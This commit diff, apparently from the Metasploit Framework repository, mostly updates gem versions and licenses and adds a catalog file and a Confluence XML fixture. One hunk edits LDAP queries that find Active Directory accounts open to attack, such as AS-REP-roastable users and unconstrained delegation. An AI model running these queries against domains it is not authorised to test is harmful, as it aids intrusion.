rspec (~> 3.0)
rspec-support (3.12.0)
rubocop (1.52.0)
rspec-support (3.13.0)
rubocop (1.56.4)
base64 (~> 0.1.1)
json (~> 2.3)
language_server-protocol (>= 3.17.0)
parallel (~> 1.10)
parser (>= 3.2.0.0)
parser (>= 3.2.2.3)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.28.0, < 2.0)
rubocop-ast (>= 1.28.1, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 2.4.0, < 3.0)
rubocop-ast (1.29.0)
parser (>= 3.2.1.0)
ruby-macho (3.0.0)
ruby-mysql (4.0.0)
ruby-macho (4.0.0)
ruby-mysql (4.1.0)
ruby-prof (1.4.2)
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.2.5)
ruby_smb (3.3.2)
bindata
openssl-ccm
openssl-cmac
@@ -484,25 +491,25 @@ GEM
simplecov-html (0.12.3)
simpleidn (0.2.1)
unf (~> 0.1.4)
sinatra (3.0.6)
sinatra (3.1.0)
mustermann (~> 3.0)
rack (~> 2.2, >= 2.2.4)
rack-protection (= 3.0.6)
rack-protection (= 3.1.0)
tilt (~> 2.0)
sqlite3 (1.6.3)
sqlite3 (1.6.6)
mini_portile2 (~> 2.8.0)
sshkey (2.0.0)
sshkey (3.0.0)
strptime (0.2.5)
swagger-blocks (3.0.0)
systemu (2.6.5)
test-prof (1.2.2)
test-prof (1.2.3)
thin (1.8.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (1.2.2)
tilt (2.2.0)
timecop (0.9.6)
tilt (2.3.0)
timecop (0.9.8)
timeout (0.4.0)
ttfunk (1.7.0)
tzinfo (2.0.6)
@@ -512,14 +519,14 @@ GEM
unf (0.1.4)
unf_ext
unf_ext (0.0.8.2)
unicode-display_width (2.4.2)
unicode-display_width (2.5.0)
unix-crypt (1.3.1)
uuid (2.3.9)
macaddr (~> 1.0)
warden (1.2.9)
rack (>= 2.0.9)
webrick (1.8.1)
websocket-driver (0.7.5)
websocket-driver (0.7.6)
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
win32api (0.1.0)
@@ -536,10 +543,10 @@ GEM
xdr (3.0.3)
activemodel (>= 4.2, < 8.0)
activesupport (>= 4.2, < 8.0)
xmlrpc (0.3.2)
xmlrpc (0.3.3)
webrick
yard (0.9.34)
zeitwerk (2.6.8)
zeitwerk (2.6.12)
PLATFORMS
ruby
+84 -82
View File
@@ -1,27 +1,28 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.0, MIT
actionpack, 7.0.5, MIT
actionview, 7.0.5, MIT
activemodel, 7.0.5, MIT
activerecord, 7.0.5, MIT
activesupport, 7.0.5, MIT
addressable, 2.8.4, "Apache 2.0"
actionpack, 7.0.8, MIT
actionview, 7.0.8, MIT
activemodel, 7.0.8, MIT
activerecord, 7.0.8, MIT
activesupport, 7.0.8, MIT
addressable, 2.8.5, "Apache 2.0"
afm, 0.2.2, MIT
allure-rspec, 2.22.0, "Apache 2.0"
allure-ruby-commons, 2.22.0, "Apache 2.0"
allure-rspec, 2.23.0, "Apache 2.0"
allure-ruby-commons, 2.23.0, "Apache 2.0"
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.776.0, "Apache 2.0"
aws-sdk-core, 3.174.0, "Apache 2.0"
aws-sdk-ec2, 1.382.0, "Apache 2.0"
aws-sdk-ec2instanceconnect, 1.27.0, "Apache 2.0"
aws-sdk-iam, 1.79.0, "Apache 2.0"
aws-sdk-kms, 1.66.0, "Apache 2.0"
aws-sdk-s3, 1.123.1, "Apache 2.0"
aws-sdk-ssm, 1.151.0, "Apache 2.0"
aws-sigv4, 1.5.2, "Apache 2.0"
bcrypt, 3.1.18, MIT
aws-partitions, 1.834.0, "Apache 2.0"
aws-sdk-core, 3.185.1, "Apache 2.0"
aws-sdk-ec2, 1.411.0, "Apache 2.0"
aws-sdk-ec2instanceconnect, 1.34.0, "Apache 2.0"
aws-sdk-iam, 1.87.0, "Apache 2.0"
aws-sdk-kms, 1.72.0, "Apache 2.0"
aws-sdk-s3, 1.136.0, "Apache 2.0"
aws-sdk-ssm, 1.158.0, "Apache 2.0"
aws-sigv4, 1.6.0, "Apache 2.0"
base64, 0.1.1, "ruby, Simplified BSD"
bcrypt, 3.1.19, MIT
bcrypt_pbkdf, 1.1.0, MIT
bindata, 2.4.15, "Simplified BSD"
bootsnap, 1.16.0, MIT
@@ -48,12 +49,12 @@ erubi, 1.12.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 3.2.0, MIT
faraday, 2.7.6, MIT
faker, 3.2.1, MIT
faraday, 2.7.11, MIT
faraday-net_http, 3.0.2, MIT
faraday-retry, 2.2.0, MIT
faye-websocket, 0.11.2, "Apache 2.0"
ffi, 1.15.5, "New BSD"
faye-websocket, 0.11.3, "Apache 2.0"
ffi, 1.16.3, "New BSD"
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
gssapi, 1.3.1, MIT
@@ -66,38 +67,39 @@ http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.14.1, MIT
io-console, 0.6.0, "ruby, Simplified BSD"
irb, 1.7.0, "ruby, Simplified BSD"
irb, 1.7.4, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.3, ruby
language_server-protocol, 3.17.0.3, MIT
little-plugger, 1.1.4, MIT
logging, 2.3.1, MIT
loofah, 2.21.3, MIT
macaddr, 1.7.2, ruby
memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.1, "New BSD"
metasploit-credential, 6.0.5, "New BSD"
metasploit-framework, 6.3.36, "New BSD"
metasploit-model, 5.0.1, "New BSD"
metasploit-payloads, 2.0.148, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.2, "New BSD"
metasploit-concern, 5.0.2, "New BSD"
metasploit-credential, 6.0.7, "New BSD"
metasploit-framework, 6.3.58, "New BSD"
metasploit-model, 5.0.2, "New BSD"
metasploit-payloads, 2.0.166, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.3, "New BSD"
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mime-types, 3.4.1, MIT
mime-types-data, 3.2023.0218.1, MIT
mini_portile2, 2.8.2, MIT
minitest, 5.18.0, MIT
mime-types, 3.5.1, MIT
mime-types-data, 3.2023.1003, MIT
mini_portile2, 2.8.4, MIT
minitest, 5.20.0, MIT
mqtt, 0.6.0, MIT
msgpack, 1.6.1, "Apache 2.0"
multi_json, 1.15.0, MIT
mustermann, 3.0.0, MIT
nessus_rest, 0.1.6, MIT
net-imap, 0.3.7, "ruby, Simplified BSD"
net-imap, 0.4.0, "ruby, Simplified BSD"
net-ldap, 0.18.0, MIT
net-protocol, 0.2.1, "ruby, Simplified BSD"
net-smtp, 0.3.3, "ruby, Simplified BSD"
net-ssh, 7.1.0, MIT
net-smtp, 0.4.0, "ruby, Simplified BSD"
net-ssh, 7.2.0, MIT
network_interface, 0.0.4, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.5.9, MIT
@@ -109,101 +111,101 @@ openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 2.0.0, "New BSD"
parallel, 1.23.0, MIT
parser, 3.2.2.3, MIT
parser, 3.2.2.4, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.11.0, MIT
pg, 1.5.3, "Simplified BSD"
pg, 1.5.4, "Simplified BSD"
pry, 0.14.2, MIT
pry-byebug, 3.10.1, MIT
public_suffix, 5.0.1, MIT
puma, 6.3.0, "New BSD"
racc, 1.7.0, "ruby, Simplified BSD"
rack, 2.2.7, MIT
rack-protection, 3.0.6, MIT
public_suffix, 5.0.3, MIT
puma, 6.4.0, "New BSD"
racc, 1.7.1, "ruby, Simplified BSD"
rack, 2.2.8, MIT
rack-protection, 3.1.0, MIT
rack-test, 2.1.0, MIT
rails-dom-testing, 2.0.3, MIT
rails-dom-testing, 2.2.0, MIT
rails-html-sanitizer, 1.6.0, MIT
railties, 7.0.5, MIT
railties, 7.0.8, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rasn1, 0.12.1, MIT
rb-readline, 0.5.5, BSD
recog, 3.1.1, unknown
recog, 3.1.2, unknown
redcarpet, 3.6.0, MIT
regexp_parser, 2.8.0, MIT
reline, 0.3.5, ruby
regexp_parser, 2.8.1, MIT
reline, 0.4.1, ruby
require_all, 3.0.0, MIT
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
rex-arch, 0.1.15, "New BSD"
rex-bin_tools, 0.1.9, "New BSD"
rex-core, 0.1.31, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.38, "New BSD"
rex-java, 0.1.6, "New BSD"
rex-mime, 0.1.7, "New BSD"
rex-nop, 0.1.2, "New BSD"
rex-ole, 0.1.7, "New BSD"
rex-powershell, 0.1.97, "New BSD"
rex-random_identifier, 0.1.10, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.54, "New BSD"
rex-sslscan, 0.1.9, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.52, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rex-encoder, 0.1.7, "New BSD"
rex-exploitation, 0.1.39, "New BSD"
rex-java, 0.1.7, "New BSD"
rex-mime, 0.1.8, "New BSD"
rex-nop, 0.1.3, "New BSD"
rex-ole, 0.1.8, "New BSD"
rex-powershell, 0.1.99, "New BSD"
rex-random_identifier, 0.1.11, "New BSD"
rex-registry, 0.1.5, "New BSD"
rex-rop_builder, 0.1.5, "New BSD"
rex-socket, 0.1.56, "New BSD"
rex-sslscan, 0.1.10, "New BSD"
rex-struct2, 0.1.4, "New BSD"
rex-text, 0.2.53, "New BSD"
rex-zip, 0.1.5, "New BSD"
rexml, 3.2.6, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.12.0, MIT
rspec-core, 3.12.2, MIT
rspec-expectations, 3.12.3, MIT
rspec-mocks, 3.12.5, MIT
rspec-mocks, 3.12.6, MIT
rspec-rails, 6.0.3, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.12.0, MIT
rubocop, 1.52.0, MIT
rspec-support, 3.12.1, MIT
rubocop, 1.56.4, MIT
rubocop-ast, 1.29.0, MIT
ruby-macho, 3.0.0, MIT
ruby-mysql, 4.0.0, MIT
ruby-macho, 4.0.0, MIT
ruby-mysql, 4.1.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.2.5, "New BSD"
ruby_smb, 3.3.2, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.9.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 3.0.6, MIT
sqlite3, 1.6.3, "New BSD"
sshkey, 2.0.0, MIT
sinatra, 3.1.0, MIT
sqlite3, 1.6.6, "New BSD"
sshkey, 3.0.0, MIT
strptime, 0.2.5, "Simplified BSD"
swagger-blocks, 3.0.0, MIT
systemu, 2.6.5, ruby
test-prof, 1.2.2, MIT
test-prof, 1.2.3, MIT
thin, 1.8.2, "GPL-2.0+, ruby"
thor, 1.2.2, MIT
tilt, 2.2.0, MIT
timecop, 0.9.6, MIT
tilt, 2.3.0, MIT
timecop, 0.9.8, MIT
timeout, 0.4.0, "ruby, Simplified BSD"
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 2.0.6, MIT
tzinfo-data, 1.2023.3, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.8.2, MIT
unicode-display_width, 2.4.2, MIT
unicode-display_width, 2.5.0, MIT
unix-crypt, 1.3.1, 0BSD
uuid, 2.3.9, MIT
warden, 1.2.9, MIT
webrick, 1.8.1, "ruby, Simplified BSD"
websocket-driver, 0.7.5, "Apache 2.0"
websocket-driver, 0.7.6, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
win32api, 0.1.0, unknown
windows_error, 0.1.5, BSD
winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.2, "ruby, Simplified BSD"
xmlrpc, 0.3.3, "ruby, Simplified BSD"
yard, 0.9.34, MIT
zeitwerk, 2.6.8, MIT
zeitwerk, 2.6.12, MIT
+15
View File
@@ -0,0 +1,15 @@
---
info:
title: Metasploit Framework
description: Metasploit Framework
x-cortex-git:
github:
alias: r7org
repository: rapid7/metasploit-framework
x-cortex-tag: metasploit-framework
x-cortex-type: service
x-cortex-domain-parents:
- tag: metasploit
openapi: 3.0.1
servers:
- url: "/"
@@ -135,7 +135,7 @@ queries:
- https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/
- https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py
- action: ENUM_DNS_ZONES
description: 'Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This is needed as without this BASEDN prefix we often miss certain entries.'
description: 'Dump all known DNS zones using the dnsZone object class under the DC DomainDnsZones. Without A BASEDN prefix you can miss certain entries.'
filter: '(objectClass=dnsZone)'
base_dn_prefix: 'DC=DomainDnsZones'
attributes:
@@ -224,6 +224,7 @@ queries:
- adminCount
- managedBy
- groupAttributes
- objectSID
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- action: ENUM_GROUP_POLICY_OBJECTS
@@ -292,7 +293,7 @@ queries:
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- action: ENUM_UNCONSTRAINED_DELEGATION
description: 'Dump info about all known objects that allow uncontrained delegation.'
description: 'Dump info about all known objects that allow unconstrained delegation.'
filter: '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
attributes:
- cn
@@ -325,7 +326,7 @@ queries:
references:
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
- action: ENUM_USER_ASREP_ROASTABLE
description: 'Dump info about all users who are configured not to require kerberos pre-authentication and are therefore AS-REP roastable.'
description: 'Dump all users who are configured not to require kerberos pre-authentication, i.e. AS-REP roastable.'
filter: '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
attributes:
- cn
+2
View File
@@ -16,6 +16,8 @@ services:
enabled: yes
- type: IMAP
enabled: yes
- type: LDAP
enabled: yes
- type: MSSQL
enabled: yes
- type: MySQL
+4685
View File
@@ -0,0 +1,4685 @@
<?xml version="1.0" encoding="UTF-8"?>
<hibernate-generic datetime="2023-11-09 06:05:20">
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196658</id>
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196654</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196655</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196656</id>
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196657</id>
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196650</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196651</id>
<property name="destinationPageTitle"><![CDATA[What is Confluence? (step 1 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[what is confluence? (step 1 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196652</id>
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196653</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196646</id>
<property name="destinationPageTitle"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196647</id>
<property name="destinationPageTitle"><![CDATA[What is Confluence? (step 1 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[what is confluence? (step 1 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196648</id>
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196649</id>
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196642</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196643</id>
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196644</id>
<property name="destinationPageTitle"><![CDATA[//maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=Atlassian,+George+Street,+New+South+Wales,+Australia&radiu]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[//maps.google.com/maps?q=atlassian,+george+street,+new+south+wales,+australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=atlassian,+george+street,+new+south+wales,+australia&radiu]]></property>
<property name="destinationSpaceKey"><![CDATA[https]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[https]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196645</id>
<property name="destinationPageTitle"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196638</id>
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196639</id>
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
